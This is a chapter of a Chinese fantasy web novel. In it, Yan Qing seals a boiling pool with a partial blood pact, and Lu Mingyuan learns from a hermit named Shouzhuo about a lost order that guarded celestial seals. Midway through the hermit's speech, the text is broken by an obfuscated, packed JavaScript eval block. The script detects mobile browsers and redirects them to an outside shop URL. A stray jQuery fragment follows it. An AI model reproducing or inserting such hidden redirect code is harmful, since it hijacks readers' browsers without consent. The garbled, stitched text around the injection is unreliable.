【晏清线·潭前抉择】
岩洞剧震未歇,碎石簌簌落下。幽潭之水如沸,银光道道从深处刺出,映得晏清脸色一片煞白。
“第二月亮”的虚影高悬于裂隙外的夜空,冰冷妖异。壁画预言,竟以如此骇人的方式成真。
面前,文曲令在石台上微微震颤,与怀中贪狼令的共鸣越来越强,似在催促。那卷玉简上的血契警告,字字如刀:“取令者,需承吾志,续镇此地,每七日以血养令……”
取,则自此与这“眼脉之泉”绑定,行动受制,且需定期返回这绝地,以自身精血维系一道不知还能撑多久的封印。
不取,此令必落于后来者(亲王,或更糟)之手。届时,不仅封印加速崩解,这百里毒瘴泉涌的灾祸,也将由他今日之退却造成。
陈山与赵虎死死抵住震动的岩壁,焦急望来:“大人!”
没有时间权衡了。潭水已开始漫上石台,触及那具守泉人白骨。白骨遇水,竟发出“滋滋”轻响,迅速消融。
就在此刻,晏清脑中划过一线亮光——玉简只说“需以血契之”,未言必须立刻、完全地缔结!是否存在一种“临时”或“部分”的契约,能暂时控制局面,却不将人永远绑死?
他猛地咬破指尖,鲜血涌出。没有去碰文曲令,而是将血珠径直滴向玉简上“血契”二字!
“以吾之血,暂通汝灵!镇此泉眼,止其奔涌——!”
话音未落,血珠渗入玉简。整个玉简骤然爆发刺目白光,将幽潭银光都压下一头!文曲令腾空而起,悬浮于晏清面前,令牌上“文曲”星纹流转,射出一道柔和却坚韧的光柱,笔直注入沸腾的潭心!
“轰——”
潭水猛地向下一陷,旋即银光收敛,翻涌渐平。那股令人心悸的搏动与“叹息”声,也暂时低伏下去。
但晏清也闷哼一声,单膝跪地。他感到一种无形的、冰冷的“锁链”凭空生成,一端系于他心神,另一端没入幽潭深处。虽未完全禁锢他的行动,却清晰地告诉他:七日之内,若不返此潭以血加固此契,锁链将反噬,幽潭将彻底失控。
他成功了,以一种取巧的方式,暂时稳定了局面,却也背上了限期返回的枷锁。
抓起光芒渐敛的文曲令,晏清看向两位忠心下属,声音因虚弱而低沉:“走,必须在追兵或亲王的人到来前离开!”
他们未曾察觉,在幽潭恢复平静的最深处,那团被暂时压制的银光核心,一只模糊的、巨大的“眼睛”轮廓,缓缓眨动了一下,目光穿透潭水与岩层,似有若无地扫过晏清离去的背影。
【陆明渊线·初醒与“导师”】
陆明渊是在一阵清苦的药香中恢复意识的。
他躺在一张铺着干草的简易木榻上,身处一间简陋却干净的石屋。阳光从窗棂缝隙透入,在地上投出光斑。身上伤口已被妥善包扎,体内“离魂烟”带来的翻腾幻痛虽未根除,却被一股清凉的药力牢牢压制。
一个身影背对他,正在石臼中捣药。布衣,草鞋,头发灰白简束。
“你醒了。”那人未回头,声音平和苍老,“‘星见’之体强行窥视‘封印星图’,没当场疯掉或血脉枯竭,算你命大。”
陆明渊心中一凛,手本能摸向腰间——刀不在,但怀中那枚仿制碎片还在。
“你是谁?”他坐起身,浑身肌肉酸痛,但神智是近来罕有的清明。
捣药声停下。那人转过身,露出一张布满风霜、却目光清亮如少年的脸,看不出具体年纪。“山野之人,名号早已忘了。你叫我‘守拙’便可。”
“是你救了我?为何救我?‘星见’又是什么?”陆明渊问题连珠。
守拙走到榻边,递过一碗墨绿色的药汁:“喝了。能暂时稳住你被强行冲开的‘灵视’,免得你再看见不该看的东西,把自己看死。”他顿了顿,“救你,是因为你身上有‘故人’的气息,而且……你在洞壁上画下的那几个血符,是真正的‘锁眼星枢’。寻常人,哪怕中毒产生幻觉,也绝对画不出来。只有被‘星图’直接烙印过意识的人才能做到。”
陆明渊接过药碗,没有立刻喝下:“故人?谁?”
守拙目光投向窗外远山,沉默片刻:“一个……很多年前,同样试图阻止灾劫,却最终失败了的朋友。他隶属于一个古老的、几乎已被世人遗忘的组织——‘镇渊司’。”
镇渊司?!
陆明渊从未在朝廷编制或江湖传闻中听过这个名字。
“看来他们消失得很彻底。”守拙似乎看穿他的疑惑,“‘镇渊司’并非本朝所设。其渊源可追溯至最初设立‘七星锁眼大阵’的时代。他们的使命只有一个:监视七处封印节点,确保‘天罚之眼’永沉九渊。但随着朝代更迭、秘辛失传,这个组织早已名存实亡,最后一点血脉与传承,也散落消亡了。”
他看向陆明渊:“你那位在狼顾山的朋友,拿着的贪狼令,最初便是‘镇渊司’传承的信物之一。而你,”他指向陆明渊的心口,“你能在幻毒中窥见星图核心,并留下‘星枢’符纹,说明你身具极其稀有的‘星见’体质。这是成为‘镇渊司’核心成员,甚至沟通、稳固封印的天赋,但也是最容易引火烧身的诅咒。”
陆明渊消化着这巨大的信息量。所以,他和晏清,竟在不知不觉中,卷入了这个横跨千古的守护与毁灭的漩涡中心?
“你告诉我这些,想做什么?”陆明渊沉声问。
守拙笑了笑,笑容里有些许苦涩:“不是我想做什么。是‘第二月亮’已经显现,封印的松动已无可遮掩。‘镇渊司’早已不存,但灾劫不会因此止步。你的朋友在试图拼凑碎片,阻止某些人;而你,拥有了可能‘看清’乃至‘影响’封印的潜质。我只是个侥幸知道些往事、苟活于山野的旧时代残影。救你,告诉你这些,或许只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153674|196482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是……不忍心见你们两个年轻人,像飞蛾一样,毫无所知地扑向那团注定焚尽一切的火焰。”
他走到窗边,望着天际那轮即便在白天也隐约可见的银月虚影:“他们铸造仿品,寻找血裔,是想用错误的方式‘修补’或‘替换’朽坏的锁链与钉,结果只会让裂缝更大。而真正的‘镇渊’之法,早已残缺不全。”
“你能教我吗?”陆明渊忽然开口,目光灼灼,“那残缺的‘镇渊’之法。还有,如何控制这‘星见’体质。”
守拙回头,深深看他一眼:“那是一条比你现在走的,更艰难、更危险的路。而且,我也未必能教你多少。”
“总比无知死去,或成为他人解封灾劫的棋子强。”陆明渊仰头,将碗中药汁一饮而尽,苦涩直冲咽喉,却带来一种奇异的清醒与决心。
【章末双线交汇·无声的烽烟】
七日后。
晏清凭借文曲令与贪狼令之间微妙的指引,带着陈山赵虎,历尽艰险,终于从另一条隐秘出口离开了狼顾山地脉,重返人间。他面色苍白,手腕处多了一道若隐若现的银色锁链纹身——血契的印记。他必须在下一个七日结束前,做出是否返回幽潭的决定。
而在他手中,一份更详尽的密报正在书写。不仅有亲王动向、“观星客”的疑踪,更添上了关于“第二月亮”、“眼脉之泉”及“镇渊司”的骇人猜测。他需要将这一切,尽快传递给陆明渊,并上报朝廷(尽管不知朝廷中还有谁可信)。
几乎同一时间,栖霞岭深处那间石屋内。
陆明渊在守拙的引导下,第一次尝试主动收敛那不受控制的“灵视”,并辨认了几种与封印相关的古老符文。他进步神速,但守拙的忧虑却日渐加深——陆明渊对星图的理解力太过惊人,这天赋背后,或许意味着更沉重的宿命。
当夜,陆明渊怀中的密信纸终于缓缓恢复温热,晏清的长讯跨越山水而来。他读着那些与自己从守拙处得知的信息相互印证、补充的文字,尤其是关于“血契”与“七日之限”时,手指微微收紧。
他走到窗边,与远在另一处山林的晏清,仰望着同一轮日益清晰的银色月影。
烽烟,已在那轮不应存在的月亮下,无声燃起。
而他们,一个身负血契枷锁,一个初窥古老秘辛,已被推至这风口浪尖的最前方。
下一次七日,不仅是晏清抉择之时,或许也是他们必须联手,直面那已从封印裂缝中,透出一丝目光的“天罚之眼”之刻。
【下章预告】
七日之限,步步紧逼!晏清将如何抉择?是重返绝地履行血契,还是另寻他法破解困局?陆明渊初掌“星见”之力,又将如何助他一臂之力?亲王与“观星客”是否已逼近下一个封印节点?神秘女子“霓裳使”在“第二月亮”下又有何新动作?《七日锁链,星图共映》——携手破局,决战前夜!
---